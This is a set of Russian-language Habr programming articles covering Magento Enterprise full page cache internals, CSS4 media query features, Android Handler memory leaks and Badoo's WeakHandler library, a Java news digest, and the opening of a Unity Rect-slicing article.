$containers[] = $container;
} else {
preg_match($placeholder->getPattern(), $content, $matches);
if (array_key_exists(1,$matches)) {
$containers = array_merge($this->_processContainers($matches[1]), $containers);
$content = preg_replace($placeholder->getPattern(), str_replace('$', '\\$', $matches[1]), $content);
}
}
}
return $containers;
}
```
Как видно из кода этих методов, обрабатываются только блоки, у которых есть плейсхолдеры. Если для вашего блока нет плейсхолдера, его содержимое не будет изменяться. Поэтому, если вы хотите выводить динамически изменяющиеся блоки, то для них необходимо создавать плейсхолдеры.
Контейнеры плейсхолдеров сначала обрабатываются методом applyWithoutApp. Этот метод пытается заменить содержимое блока в закешированной странице на нужное нам содержимое. Пример метода applyWithoutApp, абстрактного для всех контейнеров класса Enterprise\_PageCache\_Model\_Container\_Abstract:
```
/**
* Generate placeholder content before application was initialized and apply to page content if possible
*
* @param string $content
* @return bool
*/
public function applyWithoutApp(&$content)
{
$cacheId = $this->_getCacheId();
if ($cacheId === false) {
$this->_applyToContent($content, '');
return true;
}
$block = $this->_loadCache($cacheId);
if ($block === false) {
return false;
}
$block = Enterprise_PageCache_Helper_Url::replaceUenc($block);
$this->_applyToContent($content, $block);
return true;
}
```
Из кода понятно, что в случае, если вы хотите изменять блок динамически, вам необходимо определить метод \_getCacheId контейнера исходя из логики вашего блока. Если хотя бы один контейнер не был обработан (applyWithoutApp вернул false), то его нужно рендерить (см. метод \_processContent класса Enterprise\_PageCache\_Model\_Processor), а при этом произойдёт инициализация Magento (выполнится Mage::app()). При этом запрос обрабатывается контроллером Enterprise\_PageCache\_RequestController экшеном process. Код экшена process:
```
/**
* Request processing action
*/
public function processAction()
{
$processor = Mage::getSingleton('enterprise_pagecache/processor');
$content = Mage::registry('cached_page_content');
$containers = Mage::registry('cached_page_containers');
$cacheInstance = Enterprise_PageCache_Model_Cache::getCacheInstance();
foreach ($containers as $container) {
$container->applyInApp($content);
}
$this->getResponse()->appendBody($content);
// save session cookie lifetime info
$cacheId = $processor->getSessionInfoCacheId();
$sessionInfo = $cacheInstance->load($cacheId);
if ($sessionInfo) {
$sessionInfo = unserialize($sessionInfo);
} else {
$sessionInfo = array();
}
$session = Mage::getSingleton('core/session');
$cookieName = $session->getSessionName();
$cookieInfo = array(
'lifetime' => $session->getCookie()->getLifetime(),
'path' => $session->getCookie()->getPath(),
'domain' => $session->getCookie()->getDomain(),
'secure' => $session->getCookie()->isSecure(),
'httponly' => $session->getCookie()->getHttponly(),
);
if (!isset($sessionInfo[$cookieName]) || $sessionInfo[$cookieName] != $cookieInfo) {
$sessionInfo[$cookieName] = $cookieInfo;
// customer cookies have to be refreshed as well as the session cookie
$sessionInfo[Enterprise_PageCache_Model_Cookie::COOKIE_CUSTOMER] = $cookieInfo;
$sessionInfo[Enterprise_PageCache_Model_Cookie::COOKIE_CUSTOMER_GROUP] = $cookieInfo;
$sessionInfo[Enterprise_PageCache_Model_Cookie::COOKIE_CUSTOMER_LOGGED_IN] = $cookieInfo;
$sessionInfo[Enterprise_PageCache_Model_Cookie::CUSTOMER_SEGMENT_IDS] = $cookieInfo;
$sessionInfo[Enterprise_PageCache_Model_Cookie::COOKIE_MESSAGE] = $cookieInfo;
$sessionInfo = serialize($sessionInfo);
$cacheInstance->save($sessionInfo, $cacheId, array(Enterprise_PageCache_Model_Processor::CACHE_TAG));
}
}
```
Для каждого не обработанного контейнера запускается метод applyInApp, который должен отрендерить блок и заменить содержимое плейсхолдера в контенте. Код метода applyInApp, абстрактного для контейнеров класса Enterprise\_PageCache\_Model\_Container\_Abstract:
```
/**
* Generate and apply container content in controller after application is initialized
*
* @param string $content
* @return bool
*/
public function applyInApp(&$content)
{
$blockContent = $this->_renderBlock();
if ($blockContent === false) {
return false;
}
if (Mage::getStoreConfig(Enterprise_PageCache_Model_Processor::XML_PATH_CACHE_DEBUG)) {
$debugBlock = new Enterprise_PageCache_Block_Debug();
$debugBlock->setDynamicBlockContent($blockContent);
$debugBlock->setTags($this->_getPlaceHolderBlock()->getCacheTags());
$debugBlock->setType($this->_placeholder->getName());
$this->_applyToContent($content, $debugBlock->toHtml());
} else {
$this->_applyToContent($content, $blockContent);
}
$subprocessor = $this->_processor->getSubprocessor();
if ($subprocessor) {
$contentWithoutNestedBlocks = $subprocessor->replaceContentToPlaceholderReplacer($blockContent);
$this->saveCache($contentWithoutNestedBlocks);
}
return true;
}
```
Здесь, как мы видим, содержимое получается методом \_renderBlock класса контейнера. Этот метод, как правило, уникален для каждого контейнера и содержит какую-то особую логику. В абстрактном классе Enterprise\_PageCache\_Model\_Container\_Abstract для контейнеров этот метод возвращает false. Именно он должен возвращать HTML-содержимое блока.
При этом существует проблема при рендеринге контейнеров. Для блока контейнера родитель мог не отрендериться, да и контроллер выполняется другой. Это означает, что каких-то данных внутри блока может не быть и надо предусматривать этот случай (к примеру, вы получаете продукт таким способом: $product = Mage::registry('current\_product'), или задаёте блоком родителя какое-то свойство: $this->getChild('block\_alias')->setProduct($\_product)).
Но, как мы помним, FPC сохраняет всю информацию, необходимую для рендеринга. Поэтому, если вы передали информацию в методе getCacheKeyInfo вашего блока для сохранения, вы сможете её задать во время FPC-рендеринга. Делать это нужно в методе \_renderBlock контейнера. Получить в нём экземпляр блока можно методом \_getPlaceHolderBlock:
```
/**
* Get Placeholder Block
*
* @return Mage_Core_Block_Abstract
*/
protected function _getPlaceHolderBlock()
{
if (null === $this->_placeholderBlock) {
$blockName = $this->_placeholder->getAttribute('block');
$this->_placeholderBlock = new $blockName;
$this->_placeholderBlock->setTemplate($this->_placeholder->getAttribute('template'));
$this->_placeholderBlock->setLayout(Mage::app()->getLayout());
$this->_placeholderBlock->setSkipRenderTag(true);
}
return $this->_placeholderBlock;
}
```
Как видно, мы получаем экземпляр класса блока с установленным шаблоном. Пример метода \_renderBlock:
```
/**
* Render block content from placeholder
*
* @return string|false
*/
protected function _renderBlock()
{
/**
* @var $block Turnkeye_Popup_Block_Popup
*/
$block = $this->_getPlaceHolderBlock();
$placeholder = $this->_placeholder;
$serializedParameters = array('handles', 'popup_ids');
foreach ($serializedParameters as $parameter) {
$value = unserialize($placeholder->getAttribute($parameter));
$block->setDataUsingMethod($parameter, $value);
}
return $block->toHtml();
}
```
Здесь, как видно из кода, мы передали блоку параметры handles и popup\_ids. В самом же блоке их необходимо получать вот так:
```
public function getPopupIds()
{
if (!$this->hasData('popup_ids')) {
$popupIds = ...
...
$this->setData('popup_ids', $popupIds);
}
return $this->getData('popup_ids');
}
```
Я надеюсь, данная статья приоткрыла завесу тайны над функционалом FPC, и вы узнали, как работает механизм FPC изнутри.
Кеш действительно эффективен и прекрасно работает, снижая нагрузку на сервер и обеспечивая быструю работу электронного магазина с высокой посещаемостью.
В моей следующей статье по FPC я опишу, как задавать свои собственные динамические блоки в Magento Enterprise для корректной работы дополнительного динамического функционала с включенным FPC. | https://habr.com/ru/post/214645/ | null | ru | null |
# В CSS4 media queries улучшится поддержка устройств с тачскрином
Вчера [был опубликован черновик стандарта](http://dev.w3.org/csswg/css4-mediaqueries/) Media Queries level 4. Главные нововведения будущего стандарта — свойства `pointer` и `hover` — направлены на улучшение поддержки устройств, управляемых пальцами.
Свойство `hover` равно 1, если у устройства есть указатель, который можно навести на элемент без нажатия, и 0, если нет. Привычное для десктопных компьютеров поведение веб-сайта, когда при зависании над элементом указателя мыши появляется выпадающее меню или подсказка, создаёт много проблем пользователям планшетов и смартфонов. Свойство `hover` позволит не отказываться от него полностью, а продолжать использовать там, где возможно. Пример:
> @media (hover) {
>
> .menu > li {display:inline-block;}
>
> .menu ul {display:none; position:absolute;}
>
> .menu li:hover ul {display:block; list-style:none; padding:0;}
>
> }
Свойство `pointer` может принимать значения `coarse` — для тачскринов, управляемых пальцами, `fine` для мыши или стилуса и `none`. Пример:
> @media (pointer:coarse) {
>
> input[type="checkbox"], input[type="radio"] {
>
> min-width:30px;
>
> min-height:40px;
>
> background:transparent;
>
> }
>
> }
Кроме `pointer` и `hover` появилось ещё одно свойство — `script`. Оно принимает значение 1, если устройство поддерживает JavaScript и 0, если нет или JavaScript в данный момент отключён.
*Подсветка кода — [highlight.hohli.com](http://highlight.hohli.com/)* | https://habr.com/ru/post/144460/ | null | ru | null |
# Борьба с утечками памяти в Android. Часть 1
 Этой статьей мы открываем цикл статей на Хабре о нашей разработке под Android.
Согласно докладу компании Crittercism от 2012 года, OutOfMemoryError — вторая по распространенности причина «крашей» мобильных приложений.
Честно говоря, и в Badoo эта ошибка была в топе всех крашей (что неудивительно при том объеме фотографий, которые просматривают наши пользователи). Борьба с OutOfMemory — занятие кропотливое. Мы взяли в руки Allocation Tracker и начали играться с приложением. Наблюдая за данными зарезервированной памяти, мы выявили несколько сценариев, при которых выделение памяти росло с подозрительной стремительностью, забывая при этом уменьшаться. Вооружившись несколькими дампами памяти после этих сценариев, мы проанализировали их в MAT (<http://www.eclipse.org/mat/>).
Результат был занимательный и позволил нам в течение нескольких недель снизить количество крашей в разы. Что-то было специфично для нашего кода, но также выявились типичные проблемы, присущие большинству Android приложений.
Сегодня поговорим о конкретном случае утечки памяти. О нем многие знают, но часто закрывают на это глаза (а зря).
Речь пойдет об утечках памяти, связанных с неправильным использованием android.os.Handler. Не совсем очевидно, но все, что вы помещаете в Handler, находится в памяти и не может быть очищено сборщиком мусора в течении некоторого времени. Иногда довольно длительного.
Чуть позже мы покажем на примерах, что происходит и почему память не может быть освобождена. Если вы не любопытный, но хотите знать, как бороться с проблемой, то перейдите к выводам в конце статьи. Или сразу отправляйтесь на страничку маленькой библиотеки, которую мы выложили в открытый доступ: <https://github.com/badoo/android-weak-handler>.
Итак, что же там «течет»? Давайте разберемся.
#### Простой пример
Это очень простой класс Activity. Предположим, что нам нужно поменять текст по прошествии 800 секунд. Пример, конечно, нелепый, но зато хорошо продемонстрирует нам, как текут ручьи нашей памяти.
Обратите внимание на анонимный Runnable, который мы постим в Handler. Так же важно обратить внимание на длительный тайм-аут.
Для теста мы запустили этот пример и повернули телефон 7 раз, тем самым вызвав смену ориентации экрана и пересоздание Activity. Затем сняли дамп памяти и открыли его в MAT (<http://www.eclipse.org/mat/>).
С помощью OQL запускаем простой запрос, который выводит все инстансы класса Activity:
```
select * from instanceof android.app.Activity
```
Мы очень рекомендуем почитать про OQL — он ощутимо поможет вам в анализе памяти.
Почитать можно тут [visualvm.java.net/oqlhelp.html](http://visualvm.java.net/oqlhelp.html) или тут [help.eclipse.org/luna/index.jsp?topic=%2Forg.eclipse.mat.ui.help%2Freference%2Foqlsyntax.html](http://help.eclipse.org/luna/index.jsp?topic=%2Forg.eclipse.mat.ui.help%2Freference%2Foqlsyntax.html).
В памяти висит 7 инстансов Activity. Это в 7 раз больше, чем нужно. Давайте разберемся, почему сборщик мусора не смог удалить отработавшие объекты из памяти. Откроем кратчайший граф ссылок на один из Activity:
На скриншоте видно, что на Activity ссылается **this$0**. Это неявная ссылка из анонимного класса на внешний класс. В Java любой анонимный класс всегда имеет неявную ссылку на внешний класс, даже если вы никогда не обращаетесь к внешним полям или методам. Java не идеальна, а жизнь — это боль. Такие дела, котаны.
Далее, ссылка на **this$0** хранится в **callback**, который хранится в связанном списке сообщений. В конце цепочки — локальная ссылка в стеке главного потока. По всей видимости, это локальная переменная в главном цикле UI потока, которая освободится, когда цикл отработает. В нашем случае это произойдет после того, как приложение завершит свою работу.
Итак, после того как мы поместили Runnable или Message в Handler, он будет хранится в списке сообщений в LooperThread до тех пор, пока сообщение не отработает. Вполне очевидно, что если мы поместим отложенное сообщение, то оно будет лежать в памяти до тех пор, пока не настанет его время. Вместе с сообщением в памяти будут лежать все объекты, на которые ссылается сообщение, явно и неявно.
И с этим нужно что-то делать.
#### Решение с использованием статического класса
Давайте попробуем решить нашу проблему, избавившись от ссылки **this$0**. Для этого переделаем анонимный класс в статический:
Запускаем, пару раз поворачиваем телефон и собираем дамп памяти.
Снова больше одной Activity? Давайте посмотрим, почему сборщик мусора не смог их удалить.
Обратите внимание на самый низ графа ссылок: Activity сохранен в ссылке mContext из mTextView внутри класса DoneRunnable. Очевидно, что использование статического класса самого по себе недостаточно, чтобы избежать утечки памяти. Нам нужно сделать кое-что еще.
#### Решение с использованием статического класса и WeakReference
Продолжим последовательный метод избавления от ссылки на TextView, которую мы нашли в ходе изучения дампов памяти.
Обратите внимание, что мы сохраняем ссылку на TextView в WeakReference. Использование WeakReference требует особой аккуратности: такая ссылка в любой момент может обнулиться. Поэтому сначала сохраняем ссылку в локальную переменную и работаем только с последней, проверив ее на null.
Запускаем, поворачиваем и собираем дамп памяти.
Мы добились желаемого! Только один Activity в памяти. Проблема решена.
Для использования данного подхода нам необходимо:
* использовать статический внутренний или внешний класс;
* использовать WeakReference для всех объектов, на которые мы ссылаемся.
Хорош ли данный метод?
Если сравнивать оригинальный код и «безопасный» код, то в глаза бросается большое количество «шума». Он отвлекает от понимания кода и усложняет его поддержку. Написание такого кода — то еще удовольствие, не говоря уж о том, что можно что-то забыть или забить.
Хорошо, что есть решения получше.
#### Очистка всех сообщений в onDestroy
У класса Handler есть занимательный и очень полезный метод — **removeCallbacksAndMessages**, который принимает null в качестве аргумента. Он удаляет все сообщения, находящиеся в очереди данного Handler'а. Давайте используем его в **onDestroy.**
Запустим, повернем и снимем дамп памяти.
Прекрасно! Только один класс Activity.
Этот метод намного лучше предыдущего: количество сопутствующего кода минимально, риски допустить ошибку намного ниже. Одна беда — не забыть бы вызвать очистку в методах **onDestroy** или там, где вам нужно почистить память.
У нас в запасе есть еще один метод, который, возможно, понравится вам намного больше.
#### Решение с использованием WeakHandler
Команда Badoo написала свой Handler — **WeakHandler**. Это класс, который ведет себя совершенно как Handler, но исключает утечки памяти.
Он использует мягкие и жесткие ссылки для избежания утечек памяти. Принцип его работы мы опишем немного позже, а пока давайте взглянем на код:
Очень похоже на оригинальный код, не так ли? Лишь одна маленькая деталь: вместо использования **android.os.Handler** мы использовали **WeakHandler**. Давайте запустим, повернем телефон несколько раз и снимем дамп памяти.
Наконец-то! Код чист как слеза и память не течет.
Если вам понравился этот метод, то вот хорошая новость: использовать **WeakHandler** очень просто.
Добавьте maven-зависимость в ваш проект:
```
repositories {
maven {
repositories {
url 'https://oss.sonatype.org/content/repositories/releases/'
}
}
}
dependencies {
compile 'com.badoo.mobile:android-weak-handler:1.0'
}
```
Импортируйте **WeakHandler** в вашем коде:
```
import com.badoo.mobile.util.WeakHandler
```
Исходный код выложен на github: [github.com/badoo/android-weak-handler](https://github.com/badoo/android-weak-handler).
#### Принцип работы WeakHandler
Главная идея — держать жесткую ссылку на сообщения или Runnable до тех пор, пока существует жесткая ссылка на **WeakHandler**. Как только **WeakHandler** может быть удален из памяти, все остальное должно быть удалено вместе с ним.
Для простоты объяснения мы покажем простенькую диаграмму, демонстрирующую разницу между помещением анонимного Runnable в простой Handler и в **WeakHandler**:
Обратите внимание на верхнюю диаграмму: Activity ссылается на Handler, который постит Runnable (помещает его в очередь сообщений, на которые ссылается Thread). Все неплохо, за исключением неявной обратной ссылки из Runnable на Activity. Пока Message лежит в очереди, которая живет, пока жив Thread, весь граф не может быть собран сборщиком мусора. В том числе и толстая Activity.
В нижней диаграмме Activity ссылается на WeakHandler, который держит Handler внутри. Когда мы просим его поместить Runnable, он заворачивает его в WeakRunnable и постит в очередь. Таким образом, очередь сообщений ссылается только на WeakRunnable. WeakRunnable содержит WeakReference на изначальный Runnable, т.е. сборщик мусора может его очистить в любой момент. Что бы он его не очистил раньше времени, WeakHandler держит жесткую ссылку на Runnable. Но как только сам WeakHandler может быть удален, Runnable так же может быть удален.
Нужно быть аккуратным и не забывать, что на WeakHandler должна быть ссылка извне, иначе все сообщения будут очищены вместе с ним сборщиком мусора.
#### Выводы
Использование **postDelayed** в Android не так просто, как кажется: нужно совершать дополнительные действия, чтобы память не текла. Для этого можно применять следующие методы:
* использовать статический внутренний класс Runnable/Handler с WeakReferences на внешний класс;
* чистить все сообщения в классе Handler из метода onDestroy;
* использовать WeakHandler от Badoo (<https://github.com/badoo/android-weak-handler>).
Выбор за вами. Первый метод точно не для ленивых. Второй метод выглядит довольно простым, но требует дополнительной работы. Третий же — наш фаворит, но нужно быть внимательным: на **WeakHandler** должна быть внешняя ссылка до тех пор, пока он вам нужен, иначе сборщик мусора его удалит вместе со всеми сообщениями из очереди.
Удачной вам борьбы! Оставайтесь с нами — у этой темы будет продолжение.
Статья в нашем англоязычном блоге: [bit.ly/AndroidHandlerMemoryLeaks](http://bit.ly/AndroidHandlerMemoryLeaks)
Дмитрий Воронкевич, ведущий разработчик | https://habr.com/ru/post/240479/ | null | ru | null |
# Java-дайджест за 27 декабря
* Рон Пресслер собрал и выложил новый «официальный» прототип Project Loom (файберы для Java). В качестве основы используется JDK 14. Скачать можно [здесь](http://jdk.java.net/loom/), прочитать анонc можно [здесь](https://mail.openjdk.java.net/pipermail/loom-dev/2019-December/000931.html). Люди потихоньку начинают втягиваться в тему, и на GitHub уже лежит несколько проектов, использующих Loom: [Loom Date Server](https://github.com/vishpat/loom-date-server), [Fibry](https://github.com/lucav76/Fibry) (реализация акторов с поддержкой файберов), [RxJavaFiberInterop](https://github.com/akarnokd/RxJavaFiberInterop) (мост между RxJava 3 и Loom), и пара примеров использования Loom ([раз](https://github.com/nazmulidris/loomexample), [два](https://github.com/c9katayama/project-loom-examples)). На всякий случай напоминаю, что Рон [есть на Reddit](https://www.reddit.com/user/pron98), временами он пишет туда анонсы и оставляет хорошие развернутые комментарии.
* InfernoPlus [опубликовали видео](https://www.youtube.com/watch?v=kJGcDU4esUY) про то, как сделали фанатскую игру в жанре Battle Royale про Super Mario, которая неожиданно хайпанула. На бэке там были Java + Tomcat. Конец истории: авторам позвонили из Nintendo и пообещали засудить, из-за чего игрушку пришлось убить.
* Олег Шелаев написал отличную статью [«Getting started with GraalVM»](https://www.javaadvent.com/2019/12/getting-started-with-graalvm.html). Олег коротко, ясно и просто ответил на вопросы: Что такое GraalVM? Зачем он нужен? На что стоит посмотреть, чтобы оставаться в курсе событий? Недавняя [дискуссия на Reddit](https://www.reddit.com/r/java/comments/efxtj7/does_jre_need_to_be_installed_to_run_java_native/), где автор придумал сказочный «native bytecode» — хорошая иллюстрация того, что хоть GraalVM и пошел в массы, для многих всё это — тёмный лес. С этим надо что-то делать.
> Чтобы вовремя получать новости по GraalVM, нужно:
>
>
>
> * зафолловить официальный [англоязычный Twitter](https://twitter.com/graalvm)
> * подключиться к неофициальному русскоязычному [сообществу в Telegram](https://t.me/graalvm_ru)
> * зайти в [публичный Slack](https://www.graalvm.org/slack-invitation)
>
>
>
>
* Зарелизилась [Debezium 1.0.0](https://debezium.io/blog/2019/12/18/debezium-1-0-0-final-released/), которая называет себя лучшей Java-библиотекой для CDC (Change Data Capture). У них даже есть [собственный сайт](https://debezium.io/) с FAQ. CDC — это про то, чтобы записывать события изменения данных. Конечно, можно притащить [Hibernate Envers](https://vladmihalcea.com/the-best-way-to-implement-an-audit-log-using-hibernate-envers/), но это добавит оверхеда в рантайме. Вместо этого можно читать события изменений прямо из redo log базы данных — парсить его и как-то реагировать, чем и занимается Debezium. Причем делает она это в асинхронном режме, т.е. не затормаживая ваше OLTP приложение. Поддерживаются не только Oracle, MySQL, PostgreSQL (интуитивно понятно, что лог нужен для обеспечения D в ACID), но и [для MongoDB](https://www.mongodb.com/blog/post/multi-document-transactions-in-mongodb). Подробней можно прочитать [в статье Vlad Mihalcea](https://vladmihalcea.com/a-beginners-guide-to-cdc-change-data-capture/).
* Некто eXsio выложил на GitHub [QueryDSL EntityQL](https://github.com/eXsio/querydsl-entityql) — небольшую библиотечку на 28 коммитов, которая позволяет делать Native SQL запросы с помощью JPA Entities в виде fluent API. Секрет в том, что она использует рефлексию, чтобы собрать всю DDL информацию и построить метамодель QueryDSL. Метамодели собираются в оперативной памяти, кодогенерации на файловой системе не требуется.
* Vincenzo Palazzo продолжает украшать Swing, только что [выпущена версия v1.1.1-beta](https://github.com/vincenzopalazzo/material-ui-swing/releases/tag/v1.1.1-beta) библиотеки material-ui-swing. По ссылке есть скриншоты и гифки.
* 28 ноября, оказывается, зарелизился Apache Camel 3. В дайджесты это не попало, потому что тогда еще не было дайджестов. Лучше поздно, чем никогда. Теперь Camel — это семейство из нескольких проектов, в том числе [Camel 3](https://github.com/apache/camel) (известная нам во всех интеграционных бочках затычка), [Camel K](https://github.com/apache/camel-k/) (Serverless, Kubernetes, Knative), [Camel Quarkus](https://github.com/apache/camel-quarkus). Официально поддерживается Java 11. Ядро `camel-core` распилили из единой мега-помойки на 33 JAR-файла, API лежат в `camel-api`, а в `camel-support` лежит `RouteBuilder` и всевозможные базовые классы, полезные для разработки плагинов. Всё стало работать быстрее и жрать меньше памяти. Добавили DSL для типобезопасного описания ендпоинтов (вместо адских URI в строках). Внутри движка добавили реактивщины, и как только Java 11 станет минимально поддерживаемой версией (на этих словах кто-то закашлялся и упал в обморок), внешний интерфейс тоже станет работать на Java 9 [Flow API](https://docs.oracle.com/javase/9/docs/api/java/util/concurrent/Flow.html). Добавили интеграцию с Microprofile и сделали демки полностью standalone приложений, которые начинаются с запуска Camel. Короче, жить стало лучше, жить стало веселее.
* Вышла [Kafka 2.4](https://www.apache.org/dist/kafka/2.4.0/RELEASE_NOTES.html), из интересного — брокер теперь [может перебрасывать](https://cwiki.apache.org/confluence/display/KAFKA/KIP-392%3A+Allow+consumers+to+fetch+from+closest+replica) на ближайшую реплику (в облачной среде это большие деньги). Запилили новое [Java Authorizer API](https://cwiki.apache.org/confluence/display/KAFKA/KIP-504+-+Add+new+Java+Authorizer+Interface), который позволяет обойти головняки, которые раньше были с `kafka.security.auth.Authorizer`.
* Моментально с выходом Кафки, вышла и соответствующая [Spring for Kafka 2.4 RC1](https://spring.io/blog/2019/12/18/spring-for-apache-kafka-2-4-release-candidate). Всё то же самое, что для 2.3, только скомпилированное для новой версии клиентов, и с поддержкой нового протокола балансировки.
* [Объявлены](https://spring.io/blog/2019/12/23/spring-cloud-roadmap-and-hoxton-and-greenwich-maintenance-and-eol-announcements) даты EOL для Spring Cloud Hoxton и Greenwich, а следующий мажорный релиз будет называться Ilford. Кроме того, выпущен [Hoxton Service Release 1 (SR1)](https://spring.io/blog/2019/12/21/spring-cloud-hoxton-service-release-1-sr1-is-available). Там [одни багфиксы](https://github.com/orgs/spring-cloud/projects/34), надо обновляться.
* Еще больше про Spring можно прочитать в еженедельнике Джоша Лонга. Есть выпуск за [18 декабря](https://spring.io/blog/2019/12/18/this-week-in-spring-december-18th-2019) и за [24 декабря](https://spring.io/blog/2019/12/24/this-week-in-spring-december-24th-2019). Кстати, в 2020 году Джош празднует юбилей, 10 лет работы в команде Spring, и соответственно — десять лет дайджесту.
* Дмитрий Жемеров [опубликовал роадмап](https://blog.jetbrains.com/idea/2019/12/intellij-platform-roadmap-for-2020/) IntelliJ Platform на 2020 год. [Есть перевод на русский язык](https://habr.com/ru/company/JetBrains/blog/481344/) в хабраблоге компании JetBrains.
* Вышла [IntelliJ IDEA 2019.3.1](https://blog.jetbrains.com/idea/2019/12/intellij-idea-2019-3-1-is-out/). Поправили несколько неприятных багов. Например, пользователям нескольких мониторов [больше не нужно](https://youtrack.jetbrains.com/issue/IDEA-223706) перетаскивать окна на второй монитор после запуска Идеи. Пофиксили [чудовищный баг](https://youtrack.jetbrains.com/issue/IDEA-224676), когда локальный Tomcat запускался раньше, чем Maven отработает сборку.
* Вышел [Eclipse 2019-12](https://www.youtube.com/watch?v=OdoyCjpaQKs). Из Java 13 добавили switch expressions и text blocks. [На YouTube есть ролик](https://www.youtube.com/watch?v=OdoyCjpaQKs) с описанием новых фичей, которые зачитываются диктором с жестким «новостным» акцентом. Очевидно, вместе с этим обновилась [Eclipse Web Tools Platform](https://www.eclipse.org/webtools/releases/3.16/) и тому подобное — перечислять бесконечный спискок IDE на основе Eclipse не имеет смысла.
* Сразу на нескольких IDE-платформах (Eclipse, Visual Studio Code, Theia) [вышли Spring Tools 4.5.0](https://spring.io/blog/2019/12/19/spring-tools-4-5-0-released). Конечно, в первую очередь это связано с новой версией Eclipse, но они починили какие-то небольшие баги и сделали косметические улучшения.
* Jens Reimann продолжает постить небольшие новости про статус Eclipse IoT. [В новом посте](https://dentrassi.de/2019/12/19/update-on-eclipse-iot-packages/) он рассказал про внедрение Helm Charts, начали они с Ditto.
* Gregor Riegler [опубликовал видео](https://www.youtube.com/watch?v=0bhfWtZocF8) о том, как на практике делается Lift Up Conditional Refactoring. Связанное [обсуждение на Reddit](https://www.reddit.com/r/java/comments/edn45c/refactoring_java_lift_up_conditional/).
* Опубликовано [интервью с Krzysztof Ciesielski](https://blog.softwaremill.com/alpakka-kafka-connector-an-open-source-reactive-enterprise-integration-library-for-java-and-scala-c5f954b66787) — автором Alpakka Kafka (откуда оно взялось и что это такое — описано в статье).
* Google Cloud Spanner наконец-то [зарелизили](https://in.relation.to/2019/12/18/google-cloud-spanner-dialect/) официальный диалект для Hibernate. В статье имеется рабочий пример на GitHub, где в качестве платформы используется Quarkus.
* Google Cloud анонсировали фреймворк [AutoML Natural Language](https://cloud.google.com/blog/products/ai-machine-learning/machine-learning-feature-automl-natural-language-generally-available). С помощью него можно извлекать из текстов инсайты, заниматься их дешевой классификацией и организацией обратной связи от клиентов — то есть, примерно то, что в отчете [2020 state of enterprise machine learning](https://info.algorithmia.com/hubfs/2019/Whitepapers/The-State-of-Enterprise-ML-2020/Algorithmia_2020_State_of_Enterprise_ML.pdf?hsLang=en-us) посчитали основными применениями машинного обучения в 2020 году.
* Square (те, которые мерчант-агрегатор) выпустили [новое SDK для Java](https://developer.squareup.com/blog/announcing-squares-new-java-sdk/).
Habr
----
* Дмитрий Жемеров [опубликовал роадмап](https://habr.com/ru/company/JetBrains/blog/481344/) IntelliJ Platform на 2020 год.
* Статья [ashofthedream](https://habr.com/ru/users/ashofthedream/) про [ужасы реактивного программирования](https://habr.com/ru/post/481716/) с кучей примеров кодом.
* [«Исследуем бинарные форматы на примере байткода .class файла»](https://habr.com/ru/post/481260/) [esavin](https://habr.com/ru/users/esavin/). Лютый жесткач. Несмотря на то, что речь идёт о проекте времен Java 6, подход всё равно интересный: автор размечает бинарную структуру аннотациями вида `@FieldOrder(index = 1)` и потом смотрит структуру в отладчике.
* [Вторая часть](https://habr.com/ru/post/481354/) статьи про написание Telegram-бота от [dp\_ua](https://habr.com/ru/users/dp_ua/). Первая была опубликована 4 декабря, [ссылка](https://habr.com/ru/post/476306/).
* «[Как Kafka стала болью](https://habr.com/ru/company/tinkoff/blog/481784/)» — статья из блога компании Тинькофф Банк про то, как они поменяли IBM MQ на Kafka и начали жить с exactly once delivery.
* [Топ 10 ошибок в проектах Java за 2019 год](https://habr.com/ru/company/pvs-studio/blog/481186/) опубликован Валерием Комаровым в блоге компании PVS-Studio. Обратите внимание, что в комментарии пришел [lany](https://habr.com/ru/users/lany/) :-)
* [Отчет про встречу jug.msk.ru](https://habr.com/ru/company/jugru/blog/480412/) с Алексеем Рагозиным, про новые и старые возможности Java Flight Recorder в OpenJDK 11.
* [AGregory](https://habr.com/ru/users/agregory/) публикует конспекты книги Чеда Фаулера «Программист-фанатик». [Первая](https://habr.com/ru/post/481254/), [вторая](https://habr.com/ru/post/481458/), [третья](https://habr.com/ru/post/481500/) части.
* В блоге компании OTUS [перевели на русский](https://habr.com/ru/company/otus/blog/481804/) статью Grzegorz Piwowarek про `allOf` и `anyOf` в CompletableFuture — что с ними не так и как их можно сделать более удобными.
* FunCorp [анонсировали конкурс](https://habr.com/ru/company/funcorp/blog/481814/) для бэкенд-разработчиков «FunCode Java/Kotlin challenge» с суммарным призовым фондом в 550 000 рублей.
*Картинка Для Привлечения Внимания* предоставлена фотографом Bryson Hammer и сделана в канадском городе Кокран, на территории Bow Valley High School. Bryson специализируется на фотографиях холодных северных окраин, гор и живущей там живности. | https://habr.com/ru/post/482218/ | null | ru | null |
# Как я перестал беспокоиться и начал резать прямоугольники в Unity правильно
В своей [предыдущей статье](https://habrahabr.ru/post/340536/) я обещал рассказать, свой способ работы с прямоугольниками. Разрабатывая [OneLine](https://github.com/slavniyteo/one-line), я написал несколько расширений класса Rect, заметно упрощающих работу с GUI. Сейчас я выделил их в отдельную библиотеку: **RectEx**.
Подробности под катом.
Суть проблемы
=============
Когда мы пишем PropertyDrawer в Unity, мы вынуждены пользоваться классом GUI (вместо GUILayout), а значит работать с разметкой руками. Код обрастает множеством `new Rect(...)` и `rect.y += rect.height + 5`, усложняется для чтения и изменений. Когда в дело замешиваются магические числа (далее будут примеры с просторов интернета), код становится настолько инертным, что каждое новое изменение воспринимается программистом как издевательство со стороны геймдизайнера.
Долгое время я мирился с проблемой, просто пытаясь не делать слишком плохих вещей. Но когда занялся разработкой [OneLine](https://github.com/slavniyteo/one-line), параллельно написал и ряд расширений для класса Rect, упрощающих рутинную работу.
Как это делают люди
===================
На просторах интернета я нашел множество способов нарезать прямоугольники в туториалах и исходниках на гитхабе. Далее идет небольшая подборка. Найдете ли Вы среди них свой любимый? Если нет, напишите в комментариях свой вариант, я добавлю в статью.
Найденные примеры я правил по своему усмотрению, чтобы убрать все лишнее и сделать их нагляднее.
Готовим прямоугольники заранее
------------------------------
**Официальный вариант из документации**
```
// Calculate rects
var amountRect = new Rect (position.x, position.y, 30, position.height);
var unitRect = new Rect (position.x+35, position.y, 50, position.height);
var nameRect = new Rect (position.x+90, position.y, position.width-90, position.height);
// Draw fields - passs GUIContent.none to each so they are drawn without labels
EditorGUI.PropertyField (amountRect, property.FindPropertyRelative ("amount"), GUIContent.none);
EditorGUI.PropertyField (unitRect, property.FindPropertyRelative ("unit"), GUIContent.none);
EditorGUI.PropertyField (nameRect, property.FindPropertyRelative ("name"), GUIContent.none);
```
